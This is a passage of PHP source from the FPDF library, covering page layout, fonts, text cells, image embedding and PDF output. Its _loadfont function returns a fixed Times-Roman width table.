$size = $this->_getpagesize($size);
$this->DefPageSize = $size;
$this->CurPageSize = $size;
// Page orientation
$orientation = strtolower($orientation);
if($orientation=='p' || $orientation=='portrait')
{
$this->DefOrientation = 'P';
$this->w = $size[0];
$this->h = $size[1];
}
elseif($orientation=='l' || $orientation=='landscape')
{
$this->DefOrientation = 'L';
$this->w = $size[1];
$this->h = $size[0];
}
else
$this->Error('Incorrect orientation: '.$orientation);
$this->CurOrientation = $this->DefOrientation;
$this->wPt = $this->w*$this->k;
$this->hPt = $this->h*$this->k;
// Page margins (1 cm)
$margin = 28.35/$this->k;
$this->SetMargins($margin,$margin);
// Interior cell margin (1 mm)
$this->cMargin = $margin/10;
// Line width (0.2 mm)
$this->LineWidth = .567/$this->k;
// Automatic page break
$this->SetAutoPageBreak(true,2*$margin);
// Default display mode
$this->SetDisplayMode('default');
// Enable compression
$this->SetCompression(true);
// Set default PDF version number
$this->PDFVersion = '1.3';
}
function SetMargins($left, $top, $right=null)
{
// Set left, top and right margins
$this->lMargin = $left;
$this->tMargin = $top;
if($right===null)
$right = $left;
$this->rMargin = $right;
}
function SetLeftMargin($margin)
{
// Set left margin
$this->lMargin = $margin;
if($this->page>0 && $this->x<$margin)
$this->x = $margin;
}
function SetTopMargin($margin)
{
// Set top margin
$this->tMargin = $margin;
}
function SetRightMargin($margin)
{
// Set right margin
$this->rMargin = $margin;
}
function SetAutoPageBreak($auto, $margin=0)
{
// Set auto page break mode and triggering margin
$this->AutoPageBreak = $auto;
$this->bMargin = $margin;
$this->PageBreakTrigger = $this->h-$margin;
}
function SetDisplayMode($zoom, $layout='default')
{
// Set display mode in viewer
if($zoom=='fullpage' || $zoom=='fullwidth' || $zoom=='real' || $zoom=='default' || !is_string($zoom))
$this->ZoomMode = $zoom;
else
$this->Error('Incorrect zoom display mode: '.$zoom);
if($layout=='single' || $layout=='continuous' || $layout=='two' || $layout=='default')
$this->LayoutMode = $layout;
else
$this->Error('Incorrect layout display mode: '.$layout);
}
function SetCompression($compress)
{
// Set page compression
if(function_exists('gzcompress'))
$this->compress = $compress;
else
$this->compress = false;
}
function SetTitle($title, $isUTF8=false)
{
// Title of document
if($isUTF8)
$title = $this->_UTF8toUTF16($title);
$this->title = $title;
}
function SetSubject($subject, $isUTF8=false)
{
// Subject of document
if($isUTF8)
$subject = $this->_UTF8toUTF16($subject);
$this->subject = $subject;
}
function SetAuthor($author, $isUTF8=false)
{
// Author of document
if($isUTF8)
$author = $this->_UTF8toUTF16($author);
$this->author = $author;
}
function SetKeywords($keywords, $isUTF8=false)
{
// Keywords of document
if($isUTF8)
$keywords = $this->_UTF8toUTF16($keywords);
$this->keywords = $keywords;
}
function SetCreator($creator, $isUTF8=false)
{
// Creator of document
if($isUTF8)
$creator = $this->_UTF8toUTF16($creator);
$this->creator = $creator;
}
function AliasNbPages($alias='{nb}')
{
// Define an alias for total number of pages
$this->AliasNbPages = $alias;
}
function Error($msg)
{
// Fatal error
die('
FPDF error: '.$msg);
}
function Open()
{
// Begin document
$this->state = 1;
}
function Close()
{
// Terminate document
if($this->state==3)
return;
if($this->page==0)
$this->AddPage();
// Page footer
$this->InFooter = true;
$this->Footer();
$this->InFooter = false;
// Close page
$this->_endpage();
// Close document
$this->_enddoc();
}
function AddPage($orientation='', $size='')
{
// Start a new page
if($this->state==0)
$this->Open();
$family = $this->FontFamily;
$style = $this->FontStyle.($this->underline ? 'U' : '');
$fontsize = $this->FontSizePt;
$lw = $this->LineWidth;
$dc = $this->DrawColor;
$fc = $this->FillColor;
$tc = $this->TextColor;
$cf = $this->ColorFlag;
if($this->page>0)
{
// Page footer
$this->InFooter = true;
$this->Footer();
$this->InFooter = false;
// Close page
$this->_endpage();
}
// Start new page
$this->_beginpage($orientation,$size);
// Set line cap style to square
$this->_out('2 J');
// Set line width
$this->LineWidth = $lw;
$this->_out(sprintf('%.2F w',$lw*$this->k));
// Set font
if($family)
$this->SetFont($family,$style,$fontsize);
// Set colors
$this->DrawColor = $dc;
if($dc!='0 G')
$this->_out($dc);
$this->FillColor = $fc;
if($fc!='0 g')
$this->_out($fc);
$this->TextColor = $tc;
$this->ColorFlag = $cf;
// Page header
$this->InHeader = true;
$this->Header();
$this->InHeader = false;
// Restore line width
if($this->LineWidth!=$lw)
{
$this->LineWidth = $lw;
$this->_out(sprintf('%.2F w',$lw*$this->k));
}
// Restore font
if($family)
$this->SetFont($family,$style,$fontsize);
// Restore colors
if($this->DrawColor!=$dc)
{
$this->DrawColor = $dc;
$this->_out($dc);
}
if($this->FillColor!=$fc)
{
$this->FillColor = $fc;
$this->_out($fc);
}
$this->TextColor = $tc;
$this->ColorFlag = $cf;
}
function Header()
{
// To be implemented in your own inherited class
}
function Footer()
{
// To be implemented in your own inherited class
}
function PageNo()
{
// Get current page number
return $this->page;
}
function SetDrawColor($r, $g=null, $b=null)
{
// Set color for all stroking operations
if(($r==0 && $g==0 && $b==0) || $g===null)
$this->DrawColor = sprintf('%.3F G',$r/255);
else
$this->DrawColor = sprintf('%.3F %.3F %.3F RG',$r/255,$g/255,$b/255);
if($this->page>0)
$this->_out($this->DrawColor);
}
function SetFillColor($r, $g=null, $b=null)
{
// Set color for all filling operations
if(($r==0 && $g==0 && $b==0) || $g===null)
$this->FillColor = sprintf('%.3F g',$r/255);
else
$this->FillColor = sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
$this->ColorFlag = ($this->FillColor!=$this->TextColor);
if($this->page>0)
$this->_out($this->FillColor);
}
function SetTextColor($r, $g=null, $b=null)
{
// Set color for text
if(($r==0 && $g==0 && $b==0) || $g===null)
$this->TextColor = sprintf('%.3F g',$r/255);
else
$this->TextColor = sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
$this->ColorFlag = ($this->FillColor!=$this->TextColor);
}
function GetStringWidth($s)
{
// Get width of a string in the current font
$s = (string)$s;
$cw = &$this->CurrentFont['cw'];
$w = 0;
$l = strlen($s);
for($i=0;$i<$l;$i++)
$w += $cw[$s[$i]];
return $w*$this->FontSize/1000;
}
function SetLineWidth($width)
{
// Set line width
$this->LineWidth = $width;
if($this->page>0)
$this->_out(sprintf('%.2F w',$width*$this->k));
}
function Line($x1, $y1, $x2, $y2)
{
// Draw a line
$this->_out(sprintf('%.2F %.2F m %.2F %.2F l S',$x1*$this->k,($this->h-$y1)*$this->k,$x2*$this->k,($this->h-$y2)*$this->k));
}
function Rect($x, $y, $w, $h, $style='')
{
// Draw a rectangle
if($style=='F')
$op = 'f';
elseif($style=='FD' || $style=='DF')
$op = 'B';
else
$op = 'S';
$this->_out(sprintf('%.2F %.2F %.2F %.2F re %s',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k,$op));
}
function AddFont($family, $style='', $file='')
{
// Add a TrueType, OpenType or Type1 font
$family = strtolower($family);
$style = strtoupper($style);
if($style=='IB')
$style = 'BI';
$fontkey = $family.$style;
if(isset($this->fonts[$fontkey]))
return;
$info = $this->_loadfont($file);
$info['i'] = count($this->fonts)+1;
if(!empty($info['diff']))
{
// Search existing encodings
$n = array_search($info['diff'],$this->diffs);
if(!$n)
{
$n = count($this->diffs)+1;
$this->diffs[$n] = $info['diff'];
}
$info['diffn'] = $n;
}
if(!empty($info['file']))
{
// Embedded font
if($info['type']=='TrueType')
$this->FontFiles[$info['file']] = array('length1'=>$info['originalsize']);
else
$this->FontFiles[$info['file']] = array('length1'=>$info['size1'], 'length2'=>$info['size2']);
}
$this->fonts[$fontkey] = $info;
}
function SetFont($family, $style='', $size=0)
{
// Select a font; size given in points
if($family=='')
$family = $this->FontFamily;
else
$family = strtolower($family);
$style = strtoupper($style);
if(strpos($style,'U')!==false)
{
$this->underline = true;
$style = str_replace('U','',$style);
}
else
$this->underline = false;
if($style=='IB')
$style = 'BI';
if($size==0)
$size = $this->FontSizePt;
// Test if font is already selected
if($this->FontFamily==$family && $this->FontStyle==$style && $this->FontSizePt==$size)
return;
// Test if font is already loaded
$fontkey = $family.$style;
if(!isset($this->fonts[$fontkey]))
{
// Test if one of the core fonts
if($family=='arial')
$family = 'helvetica';
if(in_array($family,$this->CoreFonts))
{
if($family=='symbol' || $family=='zapfdingbats')
$style = '';
$fontkey = $family.$style;
if(!isset($this->fonts[$fontkey]))
$this->AddFont($family,$style);
}
else
$this->Error('Undefined font: '.$family.' '.$style);
}
// Select it
$this->FontFamily = $family;
$this->FontStyle = $style;
$this->FontSizePt = $size;
$this->FontSize = $size/$this->k;
$this->CurrentFont = &$this->fonts[$fontkey];
if($this->page>0)
$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
}
function SetFontSize($size)
{
// Set font size in points
if($this->FontSizePt==$size)
return;
$this->FontSizePt = $size;
$this->FontSize = $size/$this->k;
if($this->page>0)
$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
}
function AddLink()
{
// Create a new internal link
$n = count($this->links)+1;
$this->links[$n] = array(0, 0);
return $n;
}
function SetLink($link, $y=0, $page=-1)
{
// Set destination of internal link
if($y==-1)
$y = $this->y;
if($page==-1)
$page = $this->page;
$this->links[$link] = array($page, $y);
}
function Link($x, $y, $w, $h, $link)
{
// Put a link on the page
$this->PageLinks[$this->page][] = array($x*$this->k, $this->hPt-$y*$this->k, $w*$this->k, $h*$this->k, $link);
}
function Text($x, $y, $txt)
{
// Output a string
$s = sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
if($this->underline && $txt!='')
$s .= ' '.$this->_dounderline($x,$y,$txt);
if($this->ColorFlag)
$s = 'q '.$this->TextColor.' '.$s.' Q';
$this->_out($s);
}
function AcceptPageBreak()
{
// Accept automatic page break or not
return $this->AutoPageBreak;
}
function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='')
{
// Output a cell
$k = $this->k;
if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
{
// Automatic page break
$x = $this->x;
$ws = $this->ws;
if($ws>0)
{
$this->ws = 0;
$this->_out('0 Tw');
}
$this->AddPage($this->CurOrientation,$this->CurPageSize);
$this->x = $x;
if($ws>0)
{
$this->ws = $ws;
$this->_out(sprintf('%.3F Tw',$ws*$k));
}
}
if($w==0)
$w = $this->w-$this->rMargin-$this->x;
$s = '';
if($fill || $border==1)
{
if($fill)
$op = ($border==1) ? 'B' : 'f';
else
$op = 'S';
$s = sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
}
if(is_string($border))
{
$x = $this->x;
$y = $this->y;
if(strpos($border,'L')!==false)
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
if(strpos($border,'T')!==false)
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
if(strpos($border,'R')!==false)
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
if(strpos($border,'B')!==false)
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
}
if($txt!=='')
{
if($align=='R')
$dx = $w-$this->cMargin-$this->GetStringWidth($txt);
elseif($align=='C')
$dx = ($w-$this->GetStringWidth($txt))/2;
else
$dx = $this->cMargin;
if($this->ColorFlag)
$s .= 'q '.$this->TextColor.' ';
$txt2 = str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt)));
$s .= sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$txt2);
if($this->underline)
$s .= ' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
if($this->ColorFlag)
$s .= ' Q';
if($link)
$this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link);
}
if($s)
$this->_out($s);
$this->lasth = $h;
if($ln>0)
{
// Go to next line
$this->y += $h;
if($ln==1)
$this->x = $this->lMargin;
}
else
$this->x += $w;
}
function MultiCell($w, $h, $txt, $border=0, $align='J', $fill=false)
{
// Output text with automatic or explicit line breaks
$cw = &$this->CurrentFont['cw'];
if($w==0)
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
$s = str_replace("\r",'',$txt);
$nb = strlen($s);
if($nb>0 && $s[$nb-1]=="\n")
$nb--;
$b = 0;
if($border)
{
if($border==1)
{
$border = 'LTRB';
$b = 'LRT';
$b2 = 'LR';
}
else
{
$b2 = '';
if(strpos($border,'L')!==false)
$b2 .= 'L';
if(strpos($border,'R')!==false)
$b2 .= 'R';
$b = (strpos($border,'T')!==false) ? $b2.'T' : $b2;
}
}
$sep = -1;
$i = 0;
$j = 0;
$l = 0;
$ns = 0;
$nl = 1;
while($i<$nb)
{
// Get next character
$c = $s[$i];
if($c=="\n")
{
// Explicit line break
if($this->ws>0)
{
$this->ws = 0;
$this->_out('0 Tw');
}
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
$i++;
$sep = -1;
$j = $i;
$l = 0;
$ns = 0;
$nl++;
if($border && $nl==2)
$b = $b2;
continue;
}
if($c==' ')
{
$sep = $i;
$ls = $l;
$ns++;
}
$l += $cw[$c];
if($l>$wmax)
{
// Automatic line break
if($sep==-1)
{
if($i==$j)
$i++;
if($this->ws>0)
{
$this->ws = 0;
$this->_out('0 Tw');
}
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
}
else
{
if($align=='J')
{
$this->ws = ($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0;
$this->_out(sprintf('%.3F Tw',$this->ws*$this->k));
}
$this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
$i = $sep+1;
}
$sep = -1;
$j = $i;
$l = 0;
$ns = 0;
$nl++;
if($border && $nl==2)
$b = $b2;
}
else
$i++;
}
// Last chunk
if($this->ws>0)
{
$this->ws = 0;
$this->_out('0 Tw');
}
if($border && strpos($border,'B')!==false)
$b .= 'B';
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
$this->x = $this->lMargin;
}
function Write($h, $txt, $link='')
{
// Output text in flowing mode
$cw = &$this->CurrentFont['cw'];
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
$s = str_replace("\r",'',$txt);
$nb = strlen($s);
$sep = -1;
$i = 0;
$j = 0;
$l = 0;
$nl = 1;
while($i<$nb)
{
// Get next character
$c = $s[$i];
if($c=="\n")
{
// Explicit line break
$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
$i++;
$sep = -1;
$j = $i;
$l = 0;
if($nl==1)
{
$this->x = $this->lMargin;
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
}
$nl++;
continue;
}
if($c==' ')
$sep = $i;
$l += $cw[$c];
if($l>$wmax)
{
// Automatic line break
if($sep==-1)
{
if($this->x>$this->lMargin)
{
// Move to next line
$this->x = $this->lMargin;
$this->y += $h;
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
$i++;
$nl++;
continue;
}
if($i==$j)
$i++;
$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
}
else
{
$this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link);
$i = $sep+1;
}
$sep = -1;
$j = $i;
$l = 0;
if($nl==1)
{
$this->x = $this->lMargin;
$w = $this->w-$this->rMargin-$this->x;
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
}
$nl++;
}
else
$i++;
}
// Last chunk
if($i!=$j)
$this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',0,$link);
}
function Ln($h=null)
{
// Line feed; default value is last cell height
$this->x = $this->lMargin;
if($h===null)
$this->y += $this->lasth;
else
$this->y += $h;
}
function Image($file, $x=null, $y=null, $w=0, $h=0, $type='', $link='')
{
// Put an image on the page
if(!isset($this->images[$file]))
{
// First use of this image, get info
if($type=='')
{
$pos = strrpos($file,'.');
if(!$pos)
$this->Error('Image file has no extension and no type was specified: '.$file);
$type = substr($file,$pos+1);
}
$type = strtolower($type);
if($type=='jpeg')
$type = 'jpg';
$mtd = '_parse'.$type;
if(!method_exists($this,$mtd))
$this->Error('Unsupported image type: '.$type);
$info = $this->$mtd($file);
$info['i'] = count($this->images)+1;
$this->images[$file] = $info;
}
else
$info = $this->images[$file];
// Automatic width and height calculation if needed
if($w==0 && $h==0)
{
// Put image at 96 dpi
$w = -96;
$h = -96;
}
if($w<0)
$w = -$info['w']*72/$w/$this->k;
if($h<0)
$h = -$info['h']*72/$h/$this->k;
if($w==0)
$w = $h*$info['w']/$info['h'];
if($h==0)
$h = $w*$info['h']/$info['w'];
// Flowing mode
if($y===null)
{
if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
{
// Automatic page break
$x2 = $this->x;
$this->AddPage($this->CurOrientation,$this->CurPageSize);
$this->x = $x2;
}
$y = $this->y;
$this->y += $h;
}
if($x===null)
$x = $this->x;
$this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i']));
if($link)
$this->Link($x,$y,$w,$h,$link);
}
function GetX()
{
// Get x position
return $this->x;
}
function SetX($x)
{
// Set x position
if($x>=0)
$this->x = $x;
else
$this->x = $this->w+$x;
}
function GetY()
{
// Get y position
return $this->y;
}
function SetY($y)
{
// Set y position and reset x
$this->x = $this->lMargin;
if($y>=0)
$this->y = $y;
else
$this->y = $this->h+$y;
}
function SetXY($x, $y)
{
// Set x and y positions
$this->SetY($y);
$this->SetX($x);
}
function Output($name='', $dest='')
{
// Output PDF to some destination
if($this->state<3)
$this->Close();
$dest = strtoupper($dest);
if($dest=='')
{
if($name=='')
{
$name = 'doc.pdf';
$dest = 'I';
}
else
$dest = 'F';
}
switch($dest)
{
case 'I':
// Send to standard output
$this->_checkoutput();
if(PHP_SAPI!='cli')
{
// We send to a browser
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="'.$name.'"');
header('Cache-Control: private, max-age=0, must-revalidate');
header('Pragma: public');
}
echo $this->buffer;
break;
case 'D':
// Download file
$this->_checkoutput();
header('Content-Type: application/x-download');
header('Content-Disposition: attachment; filename="'.$name.'"');
header('Cache-Control: private, max-age=0, must-revalidate');
header('Pragma: public');
echo $this->buffer;
break;
case 'F':
// Save to local file
$f = fopen($name,'wb');
if(!$f)
$this->Error('Unable to create output file: '.$name);
fwrite($f,$this->buffer,strlen($this->buffer));
fclose($f);
break;
case 'S':
// Return as a string
return $this->buffer;
default:
$this->Error('Incorrect output destination: '.$dest);
}
return '';
}
/*******************************************************************************
* *
* Protected methods *
* *
*******************************************************************************/
function _dochecks()
{
// Check availability of %F
if(sprintf('%.1F',1.0)!='1.0')
$this->Error('This version of PHP is not supported');
// Check mbstring overloading
if(ini_get('mbstring.func_overload') & 2)
$this->Error('mbstring overloading must be disabled');
// Ensure runtime magic quotes are disabled
if(get_magic_quotes_runtime())
@set_magic_quotes_runtime(0);
}
function _checkoutput()
{
if(PHP_SAPI!='cli')
{
if(headers_sent($file,$line))
$this->Error("Some data has already been output, can't send PDF file (output started at $file:$line)");
}
if(ob_get_length())
{
// The output buffer is not empty
if(preg_match('/^(\xEF\xBB\xBF)?\s*$/',ob_get_contents()))
{
// It contains only a UTF-8 BOM and/or whitespace, let's clean it
ob_clean();
}
else
$this->Error("Some data has already been output, can't send PDF file");
}
}
function _getpagesize($size)
{
if(is_string($size))
{
$size = strtolower($size);
if(!isset($this->StdPageSizes[$size]))
$this->Error('Unknown page size: '.$size);
$a = $this->StdPageSizes[$size];
return array($a[0]/$this->k, $a[1]/$this->k);
}
else
{
if($size[0]>$size[1])
return array($size[1], $size[0]);
else
return $size;
}
}
function _beginpage($orientation, $size)
{
$this->page++;
$this->pages[$this->page] = '';
$this->state = 2;
$this->x = $this->lMargin;
$this->y = $this->tMargin;
$this->FontFamily = '';
// Check page size and orientation
if($orientation=='')
$orientation = $this->DefOrientation;
else
$orientation = strtoupper($orientation[0]);
if($size=='')
$size = $this->DefPageSize;
else
$size = $this->_getpagesize($size);
if($orientation!=$this->CurOrientation || $size[0]!=$this->CurPageSize[0] || $size[1]!=$this->CurPageSize[1])
{
// New size or orientation
if($orientation=='P')
{
$this->w = $size[0];
$this->h = $size[1];
}
else
{
$this->w = $size[1];
$this->h = $size[0];
}
$this->wPt = $this->w*$this->k;
$this->hPt = $this->h*$this->k;
$this->PageBreakTrigger = $this->h-$this->bMargin;
$this->CurOrientation = $orientation;
$this->CurPageSize = $size;
}
if($orientation!=$this->DefOrientation || $size[0]!=$this->DefPageSize[0] || $size[1]!=$this->DefPageSize[1])
$this->PageSizes[$this->page] = array($this->wPt, $this->hPt);
}
function _endpage()
{
$this->state = 1;
}
function _loadfont($font)
{
// Load a font definition file from the font directory
$a['type'] = 'Core';
$a['name'] = 'Times-Roman';
$a['up'] = -100;
$a['ut'] = 50;
$a['cw'] = array(
chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>408,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>180,'('=>333,')'=>333,'*'=>500,'+'=>564,
','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>278,';'=>278,'<'=>564,'='=>564,'>'=>564,'?'=>444,'@'=>921,'A'=>722,
'B'=>667,'C'=>667,'D'=>722,'E'=>611,'F'=>556,'G'=>722,'H'=>722,'I'=>333,'J'=>389,'K'=>722,'L'=>611,'M'=>889,'N'=>722,'O'=>722,'P'=>556,'Q'=>722,'R'=>667,'S'=>556,'T'=>611,'U'=>722,'V'=>722,'W'=>944,
'X'=>722,'Y'=>722,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>469,'_'=>500,'`'=>333,'a'=>444,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>333,'g'=>500,'h'=>500,'i'=>278,'j'=>278,'k'=>500,'l'=>278,'m'=>778,
'n'=>500,'o'=>500,'p'=>500,'q'=>500,'r'=>333,'s'=>389,'t'=>278,'u'=>500,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>480,'|'=>200,'}'=>480,'~'=>541,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500,
chr(132)=>444,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>889,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>444,chr(148)=>444,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>980,
chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>200,chr(167)=>500,chr(168)=>333,chr(169)=>760,chr(170)=>276,chr(171)=>500,chr(172)=>564,chr(173)=>333,chr(174)=>760,chr(175)=>333,
chr(176)=>400,chr(177)=>564,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>500,chr(182)=>453,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>310,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>444,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>564,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722,
chr(220)=>722,chr(221)=>722,chr(222)=>556,chr(223)=>500,chr(224)=>444,chr(225)=>444,chr(226)=>444,chr(227)=>444,chr(228)=>444,chr(229)=>444,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500,
chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>564,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>500,chr(254)=>500,chr(255)=>500);
return $a;
}
function _escape($s)
{
// Escape special characters in strings
$s = str_replace('\\','\\\\',$s);
$s = str_replace('(','\\(',$s);
$s = str_replace(')','\\)',$s);
$s = str_replace("\r",'\\r',$s);
return $s;
}
function _textstring($s)
{
// Format a text string
return '('.$this->_escape($s).')';
}
function _UTF8toUTF16($s)
{
// Convert UTF-8 to UTF-16BE with BOM
$res = "\xFE\xFF";
$nb = strlen($s);
$i = 0;
while($i<$nb)
{
$c1 = ord($s[$i++]);
if($c1>=224)
{
// 3-byte character
$c2 = ord($s[$i++]);
$c3 = ord($s[$i++]);
$res .= chr((($c1 & 0x0F)<<4) + (($c2 & 0x3C)>>2));
$res .= chr((($c2 & 0x03)<<6) + ($c3 & 0x3F));
}
elseif($c1>=192)
{
// 2-byte character
$c2 = ord($s[$i++]);
$res .= chr(($c1 & 0x1C)>>2);
$res .= chr((($c1 & 0x03)<<6) + ($c2 & 0x3F));
}
else
{
// Single-byte character
$res .= "\0".chr($c1);
}
}
return $res;
}
function _dounderline($x, $y, $txt)
{
// Underline text
$up = $this->CurrentFont['up'];
$ut = $this->CurrentFont['ut'];
$w = $this->GetStringWidth($txt)+$this->ws*substr_count($txt,' ');
return sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt);
}
function _parsejpg($file)
{
// Extract info from a JPEG file
$a = getimagesize($file);
if(!$a)
$this->Error('Missing or incorrect image file: '.$file);
if($a[2]!=2)
$this->Error('Not a JPEG file: '.$file);
if(!isset($a['channels']) || $a['channels']==3)
$colspace = 'DeviceRGB';
elseif($a['channels']==4)
$colspace = 'DeviceCMYK';
else
$colspace = 'DeviceGray';
$bpc = isset($a['bits']) ? $a['bits'] : 8;
$data = file_get_contents($file);
return array('w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'DCTDecode', 'data'=>$data);
}
function _parsepng($file)
{
// Extract info from a PNG file
$f = fopen($file,'rb');
if(!$f)
$this->Error('Can\'t open image file: '.$file);
$info = $this->_parsepngstream($f,$file);
fclose($f);
return $info;
}
function _parsepngstream($f, $file)
{
// Check signature
if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10))
$this->Error('Not a PNG file: '.$file);
// Read header chunk
$this->_readstream($f,4);
if($this->_readstream($f,4)!='IHDR')
$this->Error('Incorrect PNG file: '.$file);
$w = $this->_readint($f);
$h = $this->_readint($f);
$bpc = ord($this->_readstream($f,1));
if($bpc>8)
$this->Error('16-bit depth not supported: '.$file);
$ct = ord($this->_readstream($f,1));
if($ct==0 || $ct==4)
$colspace = 'DeviceGray';
elseif($ct==2 || $ct==6)
$colspace = 'DeviceRGB';
elseif($ct==3)
$colspace = 'Indexed';
else
$this->Error('Unknown color type: '.$file);
if(ord($this->_readstream($f,1))!=0)
$this->Error('Unknown compression method: '.$file);
if(ord($this->_readstream($f,1))!=0)
$this->Error('Unknown filter method: '.$file);
if(ord($this->_readstream($f,1))!=0)
$this->Error('Interlacing not supported: '.$file);
$this->_readstream($f,4);
$dp = '/Predictor 15 /Colors '.($colspace=='DeviceRGB' ? 3 : 1).' /BitsPerComponent '.$bpc.' /Columns '.$w;
// Scan chunks looking for palette, transparency and image data
$pal = '';
$trns = '';
$data = '';
do
{
$n = $this->_readint($f);
$type = $this->_readstream($f,4);
if($type=='PLTE')
{
// Read palette
$pal = $this->_readstream($f,$n);
$this->_readstream($f,4);
}
elseif($type=='tRNS')
{
// Read transparency info
$t = $this->_readstream($f,$n);
if($ct==0)
$trns = array(ord(substr($t,1,1)));
elseif($ct==2)
$trns = array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1)));
else
{
$pos = strpos($t,chr(0));
if($pos!==false)
$trns = array($pos);
}
